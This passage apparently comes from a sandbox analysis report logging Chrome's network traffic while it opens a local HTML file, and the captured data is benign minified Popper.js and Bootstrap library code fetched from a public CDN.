6f 6e 20 68 28 65 29 7b 72 65 74 75 72 6e 20 70 28 64 28 65 Data Ascii: unction u(e){var n=t(e);return{scrollLeft:n.pageXOffset,scrollTop:n.pageYOffset}}function l(e){return e?(e.nodeName\|\|"").toLowerCase():null}function d(e){return((n(e)?e.ownerDocument:e.document)\|\|window.document).documentElement}function h(e){return p(d(e
2025-01-06 13:26:44 UTC	1378	IN	Data Raw: 28 6e 3d 5b 5d 29 3b 76 61 72 20 6f 3d 78 28 65 29 2c 69 3d 6f 3d 3d 3d 28 6e 75 6c 6c 3d 3d 28 72 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 29 3f 76 6f 69 64 20 30 3a 72 2e 62 6f 64 79 29 2c 61 3d 74 28 6f 29 2c 73 3d 69 3f 5b 61 5d 2e 63 6f 6e 63 61 74 28 61 2e 76 69 73 75 61 6c 56 69 65 77 70 6f 72 74 7c 7c 5b 5d 2c 76 28 6f 29 3f 6f 3a 5b 5d 29 3a 6f 2c 66 3d 6e 2e 63 6f 6e 63 61 74 28 73 29 3b 72 65 74 75 72 6e 20 69 3f 66 3a 66 2e 63 6f 6e 63 61 74 28 77 28 62 28 73 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 4f 28 65 29 7b 72 65 74 75 72 6e 5b 22 74 61 62 6c 65 22 2c 22 74 64 22 2c 22 74 68 22 5d 2e 69 6e 64 65 78 4f 66 28 6c 28 65 29 29 3e 3d 30 7d 66 75 6e 63 74 69 6f 6e 20 6a 28 65 29 7b 72 65 74 75 72 6e 20 72 28 65 29 26 26 22 66 69 78 65 64 Data Ascii: (n=[]);var o=x(e),i=o===(null==(r=e.ownerDocument)?void 0:r.body),a=t(o),s=i?[a].concat(a.visualViewport\|\|[],v(o)?o:[]):o,f=n.concat(s);return i?f:f.concat(w(b(s)))}function O(e){return["table","td","th"].indexOf(l(e))>=0}function j(e){return r(e)&&"fixed
2025-01-06 13:26:44 UTC	1378	IN	Data Raw: 72 3d 74 2e 67 65 74 28 65 29 3b 72 26 26 6f 28 72 29 7d 7d 29 29 2c 72 2e 70 75 73 68 28 65 29 7d 72 65 74 75 72 6e 20 65 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 2e 73 65 74 28 65 2e 6e 61 6d 65 2c 65 29 7d 29 29 2c 65 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 2e 68 61 73 28 65 2e 6e 61 6d 65 29 7c 7c 6f 28 65 29 7d 29 29 2c 72 7d 66 75 6e 63 74 69 6f 6e 20 43 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 2e 67 65 74 52 6f 6f 74 4e 6f 64 65 26 26 74 2e 67 65 74 52 6f 6f 74 4e 6f 64 65 28 29 3b 69 66 28 65 2e 63 6f 6e 74 61 69 6e 73 28 74 29 29 72 65 74 75 72 6e 21 30 3b 69 66 28 6e 26 26 6f 28 6e 29 29 7b 76 61 72 20 72 3d 74 3b 64 6f 7b 69 66 28 72 26 26 65 2e 69 73 53 61 6d 65 4e 6f 64 65 28 72 29 29 72 Data Ascii: r=t.get(e);r&&o(r)}})),r.push(e)}return e.forEach((function(e){t.set(e.name,e)})),e.forEach((function(e){n.has(e.name)\|\|o(e)})),r}function C(e,t){var n=t.getRootNode&&t.getRootNode();if(e.contains(t))return!0;if(n&&o(n)){var r=t;do{if(r&&e.isSameNode(r))r
2025-01-06 13:26:44 UTC	1378	IN	Data Raw: 69 6f 6e 29 3e 3d 30 26 26 72 28 65 29 3f 45 28 65 29 3a 65 3b 72 65 74 75 72 6e 20 6e 28 6f 29 3f 74 2e 66 69 6c 74 65 72 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 28 65 29 26 26 43 28 65 2c 6f 29 26 26 22 62 6f 64 79 22 21 3d 3d 6c 28 65 29 7d 29 29 3a 5b 5d 7d 28 65 29 3a 5b 5d 2e 63 6f 6e 63 61 74 28 74 29 2c 63 3d 5b 5d 2e 63 6f 6e 63 61 74 28 66 2c 5b 6f 5d 29 2c 70 3d 63 5b 30 5d 2c 75 3d 63 2e 72 65 64 75 63 65 28 28 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 76 61 72 20 72 3d 49 28 65 2c 6e 2c 73 29 3b 72 65 74 75 72 6e 20 74 2e 74 6f 70 3d 69 28 72 2e 74 6f 70 2c 74 2e 74 6f 70 29 2c 74 2e 72 69 67 68 74 3d 61 28 72 2e 72 69 67 68 74 2c 74 2e 72 69 67 68 74 29 2c 74 2e 62 6f 74 74 6f 6d 3d 61 28 72 2e 62 6f 74 74 6f 6d 2c Data Ascii: ion)>=0&&r(e)?E(e):e;return n(o)?t.filter((function(e){return n(e)&&C(e,o)&&"body"!==l(e)})):[]}(e):[].concat(t),c=[].concat(f,[o]),p=c[0],u=c.reduce((function(t,n){var r=I(e,n,s);return t.top=i(r.top,t.top),t.right=a(r.right,t.right),t.bottom=a(r.bottom,
2025-01-06 13:26:44 UTC	1378	IN	Data Raw: 72 79 2c 79 3d 76 6f 69 64 20 30 21 3d 3d 76 26 26 76 2c 67 3d 72 2e 70 61 64 64 69 6e 67 2c 62 3d 76 6f 69 64 20 30 3d 3d 3d 67 3f 30 3a 67 2c 78 3d 59 28 22 6e 75 6d 62 65 72 22 21 3d 74 79 70 65 6f 66 20 62 3f 62 3a 47 28 62 2c 6b 29 29 2c 77 3d 6d 3d 3d 3d 54 3f 22 72 65 66 65 72 65 6e 63 65 22 3a 54 2c 4f 3d 65 2e 72 65 63 74 73 2e 70 6f 70 70 65 72 2c 6a 3d 65 2e 65 6c 65 6d 65 6e 74 73 5b 79 3f 77 3a 6d 5d 2c 45 3d 5f 28 6e 28 6a 29 3f 6a 3a 6a 2e 63 6f 6e 74 65 78 74 45 6c 65 6d 65 6e 74 7c 7c 64 28 65 2e 65 6c 65 6d 65 6e 74 73 2e 70 6f 70 70 65 72 29 2c 63 2c 6c 2c 73 29 2c 50 3d 70 28 65 2e 65 6c 65 6d 65 6e 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 4d 3d 58 28 7b 72 65 66 65 72 65 6e 63 65 3a 50 2c 65 6c 65 6d 65 6e 74 3a 4f 2c 73 74 72 61 74 Data Ascii: ry,y=void 0!==v&&v,g=r.padding,b=void 0===g?0:g,x=Y("number"!=typeof b?b:G(b,k)),w=m===T?"reference":T,O=e.rects.popper,j=e.elements[y?w:m],E=_(n(j)?j:j.contextElement\|\|d(e.elements.popper),c,l,s),P=p(e.elements.reference),M=X({reference:P,element:O,strat
2025-01-06 13:26:44 UTC	1378	IN	Data Raw: 2c 70 2c 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 71 28 65 29 3b 72 65 74 75 72 6e 20 56 2e 72 65 64 75 63 65 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 72 65 74 75 72 6e 20 65 2e 63 6f 6e 63 61 74 28 74 2e 66 69 6c 74 65 72 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 70 68 61 73 65 3d 3d 3d 6e 7d 29 29 29 7d 29 2c 5b 5d 29 7d 28 28 73 3d 5b 5d 2e 63 6f 6e 63 61 74 28 6f 2c 66 2e 6f 70 74 69 6f 6e 73 2e 6d 6f 64 69 66 69 65 72 73 29 2c 70 3d 73 2e 72 65 64 75 63 65 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 65 5b 74 2e 6e 61 6d 65 5d 3b 72 65 74 75 72 6e 20 65 5b 74 2e 6e 61 6d 65 5d 3d 6e 3f 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 6e 2c 74 2c 7b 6f 70 74 69 6f 6e 73 3a 4f Data Ascii: ,p,d=function(e){var t=q(e);return V.reduce((function(e,n){return e.concat(t.filter((function(e){return e.phase===n})))}),[])}((s=[].concat(o,f.options.modifiers),p=s.reduce((function(e,t){var n=e[t.name];return e[t.name]=n?Object.assign({},n,t,{options:O
2025-01-06 13:26:44 UTC	1378	IN	Data Raw: 73 7d 29 2c 64 65 73 74 72 6f 79 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 28 29 2c 70 3d 21 30 7d 7d 3b 69 66 28 21 51 28 65 2c 74 29 29 72 65 74 75 72 6e 20 75 3b 66 75 6e 63 74 69 6f 6e 20 6c 28 29 7b 63 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 28 29 7d 29 29 2c 63 3d 5b 5d 7d 72 65 74 75 72 6e 20 75 2e 73 65 74 4f 70 74 69 6f 6e 73 28 72 29 2e 74 68 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 21 70 26 26 72 2e 6f 6e 46 69 72 73 74 55 70 64 61 74 65 26 26 72 2e 6f 6e 46 69 72 73 74 55 70 64 61 74 65 28 65 29 7d 29 29 2c 75 7d 7d 76 61 72 20 24 3d 7b 70 61 73 73 69 76 65 3a 21 30 7d 3b 76 61 72 20 65 65 3d 7b 6e 61 6d 65 3a 22 65 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 22 2c 65 6e 61 62 6c 65 64 3a 21 30 Data Ascii: s}),destroy:function(){l(),p=!0}};if(!Q(e,t))return u;function l(){c.forEach((function(e){return e()})),c=[]}return u.setOptions(r).then((function(e){!p&&r.onFirstUpdate&&r.onFirstUpdate(e)})),u}}var $={passive:!0};var ee={name:"eventListeners",enabled:!0
2025-01-06 13:26:44 UTC	1378	IN	Data Raw: 69 67 68 74 22 2c 54 3d 22 63 6c 69 65 6e 74 57 69 64 74 68 22 3b 69 66 28 57 3d 3d 3d 74 28 72 29 26 26 22 73 74 61 74 69 63 22 21 3d 3d 6d 28 57 3d 64 28 72 29 29 2e 70 6f 73 69 74 69 6f 6e 26 26 22 61 62 73 6f 6c 75 74 65 22 3d 3d 3d 63 26 26 28 48 3d 22 73 63 72 6f 6c 6c 48 65 69 67 68 74 22 2c 54 3d 22 73 63 72 6f 6c 6c 57 69 64 74 68 22 29 2c 57 3d 57 2c 69 3d 3d 3d 44 7c 7c 28 69 3d 3d 3d 50 7c 7c 69 3d 3d 3d 4c 29 26 26 61 3d 3d 3d 42 29 4d 3d 41 2c 62 2d 3d 28 68 26 26 57 3d 3d 3d 6b 26 26 6b 2e 76 69 73 75 61 6c 56 69 65 77 70 6f 72 74 3f 6b 2e 76 69 73 75 61 6c 56 69 65 77 70 6f 72 74 2e 68 65 69 67 68 74 3a 57 5b 48 5d 29 2d 6f 2e 68 65 69 67 68 74 2c 62 2a 3d 70 3f 31 3a 2d 31 3b 69 66 28 69 3d 3d 3d 50 7c 7c 28 69 3d 3d 3d 44 7c 7c 69 3d 3d Data Ascii: ight",T="clientWidth";if(W===t(r)&&"static"!==m(W=d(r)).position&&"absolute"===c&&(H="scrollHeight",T="scrollWidth"),W=W,i===D\|\|(i===P\|\|i===L)&&a===B)M=A,b-=(h&&W===k&&k.visualViewport?k.visualViewport.height:W[H])-o.height,b*=p?1:-1;if(i===P\|\|(i===D\|\|i==
2025-01-06 13:26:44 UTC	1378	IN	Data Raw: 65 73 2e 61 72 72 6f 77 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 74 2e 73 74 79 6c 65 73 2e 61 72 72 6f 77 2c 72 65 28 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 63 2c 7b 6f 66 66 73 65 74 73 3a 74 2e 6d 6f 64 69 66 69 65 72 73 44 61 74 61 2e 61 72 72 6f 77 2c 70 6f 73 69 74 69 6f 6e 3a 22 61 62 73 6f 6c 75 74 65 22 2c 61 64 61 70 74 69 76 65 3a 21 31 2c 72 6f 75 6e 64 4f 66 66 73 65 74 73 3a 66 7d 29 29 29 29 2c 74 2e 61 74 74 72 69 62 75 74 65 73 2e 70 6f 70 70 65 72 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 74 2e 61 74 74 72 69 62 75 74 65 73 2e 70 6f 70 70 65 72 2c 7b 22 64 61 74 61 2d 70 6f 70 70 65 72 2d 70 6c 61 63 65 6d 65 6e 74 22 3a 74 2e 70 6c 61 63 65 6d 65 6e 74 7d 29 7d 2c 64 61 74 61 3a 7b 7d 7d 3b 76 61 72 Data Ascii: es.arrow=Object.assign({},t.styles.arrow,re(Object.assign({},c,{offsets:t.modifiersData.arrow,position:"absolute",adaptive:!1,roundOffsets:f})))),t.attributes.popper=Object.assign({},t.attributes.popper,{"data-popper-placement":t.placement})},data:{}};var

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49762	151.101.1.229	443	3512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 13:26:44 UTC	384	OUT	GET /npm/bootstrap@5.3.3/dist/js/bootstrap.min.js HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-06 13:26:45 UTC	775	IN	HTTP/1.1 200 OK Connection: close Content-Length: 60635 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=31536000, s-maxage=31536000, immutable Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: application/javascript; charset=utf-8 X-JSD-Version: 5.3.3 X-JSD-Version-Type: version ETag: W/"ecdb-LGwKWDRaCdN2EjCvgjpOSFKxJkM" Accept-Ranges: bytes Age: 1569150 Date: Mon, 06 Jan 2025 13:26:45 GMT X-Served-By: cache-fra-etou8220156-FRA, cache-nyc-kteb1890098-NYC X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2025-01-06 13:26:45 UTC	1378	IN	Data Raw: 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 35 2e 33 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 34 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 69 6e 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 Data Ascii: /! Bootstrap v5.3.3 (https://getbootstrap.com/) * Copyright 2011-2024 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */!function(t,e){"ob
2025-01-06 13:26:45 UTC	1378	IN	Data Raw: 64 20 30 21 3d 3d 74 2e 6e 6f 64 65 54 79 70 65 29 2c 63 3d 74 3d 3e 6c 28 74 29 3f 74 2e 6a 71 75 65 72 79 3f 74 5b 30 5d 3a 74 3a 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 74 2e 6c 65 6e 67 74 68 3e 30 3f 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 72 28 74 29 29 3a 6e 75 6c 6c 2c 68 3d 74 3d 3e 7b 69 66 28 21 6c 28 74 29 7c 7c 30 3d 3d 3d 74 2e 67 65 74 43 6c 69 65 6e 74 52 65 63 74 73 28 29 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 21 31 3b 63 6f 6e 73 74 20 65 3d 22 76 69 73 69 62 6c 65 22 3d 3d 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 74 29 2e 67 65 74 50 72 6f 70 65 72 74 79 56 61 6c 75 65 28 22 76 69 73 69 62 69 6c 69 74 79 22 29 2c 69 3d 74 2e 63 6c 6f 73 65 73 74 28 22 64 65 74 61 69 6c 73 Data Ascii: d 0!==t.nodeType),c=t=>l(t)?t.jquery?t[0]:t:"string"==typeof t&&t.length>0?document.querySelector(r(t)):null,h=t=>{if(!l(t)\|\|0===t.getClientRects().length)return!1;const e="visible"===getComputedStyle(t).getPropertyValue("visibility"),i=t.closest("details
2025-01-06 13:26:45 UTC	1378	IN	Data Raw: 69 74 69 6f 6e 44 75 72 61 74 69 6f 6e 3a 65 2c 74 72 61 6e 73 69 74 69 6f 6e 44 65 6c 61 79 3a 69 7d 3d 77 69 6e 64 6f 77 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 74 29 3b 63 6f 6e 73 74 20 73 3d 4e 75 6d 62 65 72 2e 70 61 72 73 65 46 6c 6f 61 74 28 65 29 2c 6e 3d 4e 75 6d 62 65 72 2e 70 61 72 73 65 46 6c 6f 61 74 28 69 29 3b 72 65 74 75 72 6e 20 73 7c 7c 6e 3f 28 65 3d 65 2e 73 70 6c 69 74 28 22 2c 22 29 5b 30 5d 2c 69 3d 69 2e 73 70 6c 69 74 28 22 2c 22 29 5b 30 5d 2c 31 65 33 2a 28 4e 75 6d 62 65 72 2e 70 61 72 73 65 46 6c 6f 61 74 28 65 29 2b 4e 75 6d 62 65 72 2e 70 61 72 73 65 46 6c 6f 61 74 28 69 29 29 29 3a 30 7d 29 28 65 29 2b 35 3b 6c 65 74 20 6e 3d 21 31 3b 63 6f 6e 73 74 20 72 3d 28 7b 74 61 72 67 65 74 3a 69 7d 29 3d 3e 7b 69 3d Data Ascii: itionDuration:e,transitionDelay:i}=window.getComputedStyle(t);const s=Number.parseFloat(e),n=Number.parseFloat(i);return s\|\|n?(e=e.split(",")[0],i=i.split(",")[0],1e3*(Number.parseFloat(e)+Number.parseFloat(i))):0})(e)+5;let n=!1;const r=({target:i})=>{i=
2025-01-06 13:26:45 UTC	1378	IN	Data Raw: 3d 69 29 29 7d 66 75 6e 63 74 69 6f 6e 20 44 28 74 2c 65 2c 69 29 7b 63 6f 6e 73 74 20 73 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 2c 6e 3d 73 3f 69 3a 65 7c 7c 69 3b 6c 65 74 20 6f 3d 4d 28 74 29 3b 72 65 74 75 72 6e 20 53 2e 68 61 73 28 6f 29 7c 7c 28 6f 3d 74 29 2c 5b 73 2c 6e 2c 6f 5d 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 74 2c 65 2c 69 2c 73 2c 6e 29 7b 69 66 28 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 65 7c 7c 21 74 29 72 65 74 75 72 6e 3b 6c 65 74 5b 6f 2c 72 2c 61 5d 3d 44 28 65 2c 69 2c 73 29 3b 69 66 28 65 20 69 6e 20 24 29 7b 63 6f 6e 73 74 20 74 3d 74 3d 3e 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 72 65 6c 61 74 65 64 54 61 72 67 65 74 7c 7c 65 2e 72 65 6c 61 74 65 64 54 61 72 67 65 74 21 3d 3d 65 2e 64 65 Data Ascii: =i))}function D(t,e,i){const s="string"==typeof e,n=s?i:e\|\|i;let o=M(t);return S.has(o)\|\|(o=t),[s,n,o]}function N(t,e,i,s,n){if("string"!=typeof e\|\|!t)return;let[o,r,a]=D(e,i,s);if(e in $){const t=t=>function(e){if(!e.relatedTarget\|\|e.relatedTarget!==e.de
2025-01-06 13:26:45 UTC	1378	IN	Data Raw: 3d 6f 29 7b 69 66 28 68 29 66 6f 72 28 63 6f 6e 73 74 20 69 20 6f 66 20 4f 62 6a 65 63 74 2e 6b 65 79 73 28 6c 29 29 78 28 74 2c 6c 2c 69 2c 65 2e 73 6c 69 63 65 28 31 29 29 3b 66 6f 72 28 63 6f 6e 73 74 5b 69 2c 73 5d 6f 66 20 4f 62 6a 65 63 74 2e 65 6e 74 72 69 65 73 28 63 29 29 7b 63 6f 6e 73 74 20 6e 3d 69 2e 72 65 70 6c 61 63 65 28 43 2c 22 22 29 3b 61 26 26 21 65 2e 69 6e 63 6c 75 64 65 73 28 6e 29 7c 7c 50 28 74 2c 6c 2c 72 2c 73 2e 63 61 6c 6c 61 62 6c 65 2c 73 2e 64 65 6c 65 67 61 74 69 6f 6e 53 65 6c 65 63 74 6f 72 29 7d 7d 65 6c 73 65 7b 69 66 28 21 4f 62 6a 65 63 74 2e 6b 65 79 73 28 63 29 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 3b 50 28 74 2c 6c 2c 72 2c 6f 2c 6e 3f 69 3a 6e 75 6c 6c 29 7d 7d 2c 74 72 69 67 67 65 72 28 74 2c 65 2c 69 29 7b Data Ascii: =o){if(h)for(const i of Object.keys(l))x(t,l,i,e.slice(1));for(const[i,s]of Object.entries(c)){const n=i.replace(C,"");a&&!e.includes(n)\|\|P(t,l,r,s.callable,s.delegationSelector)}}else{if(!Object.keys(c).length)return;P(t,l,r,o,n?i:null)}},trigger(t,e,i){
2025-01-06 13:26:45 UTC	1378	IN	Data Raw: 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2b 69 2e 73 6c 69 63 65 28 31 2c 69 2e 6c 65 6e 67 74 68 29 2c 65 5b 69 5d 3d 7a 28 74 2e 64 61 74 61 73 65 74 5b 73 5d 29 7d 72 65 74 75 72 6e 20 65 7d 2c 67 65 74 44 61 74 61 41 74 74 72 69 62 75 74 65 3a 28 74 2c 65 29 3d 3e 7a 28 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 60 64 61 74 61 2d 62 73 2d 24 7b 48 28 65 29 7d 60 29 29 7d 3b 63 6c 61 73 73 20 71 7b 73 74 61 74 69 63 20 67 65 74 20 44 65 66 61 75 6c 74 28 29 7b 72 65 74 75 72 6e 7b 7d 7d 73 74 61 74 69 63 20 67 65 74 20 44 65 66 61 75 6c 74 54 79 70 65 28 29 7b 72 65 74 75 72 6e 7b 7d 7d 73 74 61 74 69 63 20 67 65 74 20 4e 41 4d 45 28 29 7b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 27 59 6f 75 20 68 61 76 65 20 74 6f 20 69 6d 70 6c 65 6d 65 6e Data Ascii: .toLowerCase()+i.slice(1,i.length),e[i]=z(t.dataset[s])}return e},getDataAttribute:(t,e)=>z(t.getAttribute(`data-bs-${H(e)}`))};class q{static get Default(){return{}}static get DefaultType(){return{}}static get NAME(){throw new Error('You have to implemen
2025-01-06 13:26:45 UTC	1378	IN	Data Raw: 73 2e 5f 6d 65 72 67 65 43 6f 6e 66 69 67 4f 62 6a 28 74 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2c 74 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 41 66 74 65 72 4d 65 72 67 65 28 74 29 2c 74 68 69 73 2e 5f 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 74 29 2c 74 7d 73 74 61 74 69 63 20 67 65 74 49 6e 73 74 61 6e 63 65 28 74 29 7b 72 65 74 75 72 6e 20 6e 2e 67 65 74 28 63 28 74 29 2c 74 68 69 73 2e 44 41 54 41 5f 4b 45 59 29 7d 73 74 61 74 69 63 20 67 65 74 4f 72 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 28 74 2c 65 3d 7b 7d 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 67 65 74 49 6e 73 74 61 6e 63 65 28 74 29 7c 7c 6e 65 77 20 74 68 69 73 28 74 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 3f 65 3a 6e 75 6c 6c 29 7d 73 74 61 74 69 63 20 67 65 Data Ascii: s._mergeConfigObj(t,this._element),t=this._configAfterMerge(t),this._typeCheckConfig(t),t}static getInstance(t){return n.get(c(t),this.DATA_KEY)}static getOrCreateInstance(t,e={}){return this.getInstance(t)\|\|new this(t,"object"==typeof e?e:null)}static ge
2025-01-06 13:26:45 UTC	1378	IN	Data Raw: 5b 74 61 62 69 6e 64 65 78 5d 22 2c 27 5b 63 6f 6e 74 65 6e 74 65 64 69 74 61 62 6c 65 3d 22 74 72 75 65 22 5d 27 5d 2e 6d 61 70 28 28 74 3d 3e 60 24 7b 74 7d 3a 6e 6f 74 28 5b 74 61 62 69 6e 64 65 78 5e 3d 22 2d 22 5d 29 60 29 29 2e 6a 6f 69 6e 28 22 2c 22 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 66 69 6e 64 28 65 2c 74 29 2e 66 69 6c 74 65 72 28 28 74 3d 3e 21 64 28 74 29 26 26 68 28 74 29 29 29 7d 2c 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 29 7b 63 6f 6e 73 74 20 65 3d 52 28 74 29 3b 72 65 74 75 72 6e 20 65 26 26 4b 2e 66 69 6e 64 4f 6e 65 28 65 29 3f 65 3a 6e 75 6c 6c 7d 2c 67 65 74 45 6c 65 6d 65 6e 74 46 72 6f 6d 53 65 6c 65 63 74 6f 72 28 74 29 7b 63 6f 6e 73 74 20 65 3d 52 28 74 29 3b 72 65 74 75 72 6e 20 65 3f 4b Data Ascii: [tabindex]",'[contenteditable="true"]'].map((t=>`${t}:not([tabindex^="-"])`)).join(",");return this.find(e,t).filter((t=>!d(t)&&h(t)))},getSelectorFromElement(t){const e=R(t);return e&&K.findOne(e)?e:null},getElementFromSelector(t){const e=R(t);return e?K
2025-01-06 13:26:45 UTC	1378	IN	Data Raw: 65 6c 65 6d 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 70 72 65 73 73 65 64 22 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4c 69 73 74 2e 74 6f 67 67 6c 65 28 22 61 63 74 69 76 65 22 29 29 7d 73 74 61 74 69 63 20 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 28 74 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6f 6e 73 74 20 65 3d 4a 2e 67 65 74 4f 72 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 28 74 68 69 73 29 3b 22 74 6f 67 67 6c 65 22 3d 3d 3d 74 26 26 65 5b 74 5d 28 29 7d 29 29 7d 7d 6a 2e 6f 6e 28 64 6f 63 75 6d 65 6e 74 2c 22 63 6c 69 63 6b 2e 62 73 2e 62 75 74 74 6f 6e 2e 64 61 74 61 2d 61 70 69 22 2c 47 2c 28 74 3d 3e 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 Data Ascii: element.setAttribute("aria-pressed",this._element.classList.toggle("active"))}static jQueryInterface(t){return this.each((function(){const e=J.getOrCreateInstance(this);"toggle"===t&&e[t]()}))}}j.on(document,"click.bs.button.data-api",G,(t=>{t.preventDefa
2025-01-06 13:26:45 UTC	1378	IN	Data Raw: 6c 74 61 58 3d 30 2c 65 26 26 76 28 65 3e 30 3f 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 72 69 67 68 74 43 61 6c 6c 62 61 63 6b 3a 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6c 65 66 74 43 61 6c 6c 62 61 63 6b 29 7d 5f 69 6e 69 74 45 76 65 6e 74 73 28 29 7b 74 68 69 73 2e 5f 73 75 70 70 6f 72 74 50 6f 69 6e 74 65 72 45 76 65 6e 74 73 3f 28 6a 2e 6f 6e 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2c 73 74 2c 28 74 3d 3e 74 68 69 73 2e 5f 73 74 61 72 74 28 74 29 29 29 2c 6a 2e 6f 6e 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2c 6e 74 2c 28 74 3d 3e 74 68 69 73 2e 5f 65 6e 64 28 74 29 29 29 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 22 29 29 3a 28 6a 2e 6f 6e 28 74 68 69 73 2e 5f 65 Data Ascii: ltaX=0,e&&v(e>0?this._config.rightCallback:this._config.leftCallback)}_initEvents(){this._supportPointerEvents?(j.on(this._element,st,(t=>this._start(t))),j.on(this._element,nt,(t=>this._end(t))),this._element.classList.add("pointer-event")):(j.on(this._e

Target ID:	0
Start time:	08:26:34
Start date:	06/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Profile Illustrations and Technical Specifications for This System1.html"
Imagebase:	0x7ff76e190000
